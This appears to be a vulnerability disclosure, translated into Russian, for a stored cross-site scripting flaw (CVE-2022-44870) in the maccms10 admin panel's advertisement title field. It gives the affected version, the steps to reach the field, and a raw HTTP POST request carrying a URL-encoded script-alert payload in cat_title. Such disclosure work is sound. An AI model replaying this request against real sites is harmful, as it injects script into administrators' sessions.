cedric1314/cve-2022-44870maccms admin+ xss атаки
maccms admin+ XSS-атаки
Обзор
Информация о сайте производителя: https://maccms.pro
Адрес загрузки исходного кода: https://github.com/maccmspro/maccms10.git
Затронутая версия: V2021.1000.2000
Детали уязвимости
https://github.com/maccmspro/maccms10/issues/23
Перейдите в панель администратора, затем в «Основные» > «Управление рекламой» > «Название».
Вставьте payload1 в поле названия:
Это может привести к XSS-атакам.
Название уязвимости: Хранимая XSS
Уровень уязвимости: Средний риск
Местоположение уязвимости: Управление рекламой → название
Вставьте в cat_title
http://127.0.0.1/admin.php/admin/banner/infocat.html
POST /admin.php/admin/banner/infocat.html HTTP/1.1
Host: 192.168.52.163
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 65
Origin:
Connection: close
Cookie: PHPSESSID=qgaks01bl6ip8j7fseaabj4l9q
cat_id=&cat_title=%3Cscript%3Ealert(1)%3C%2Fscript%3E&cat_code=111
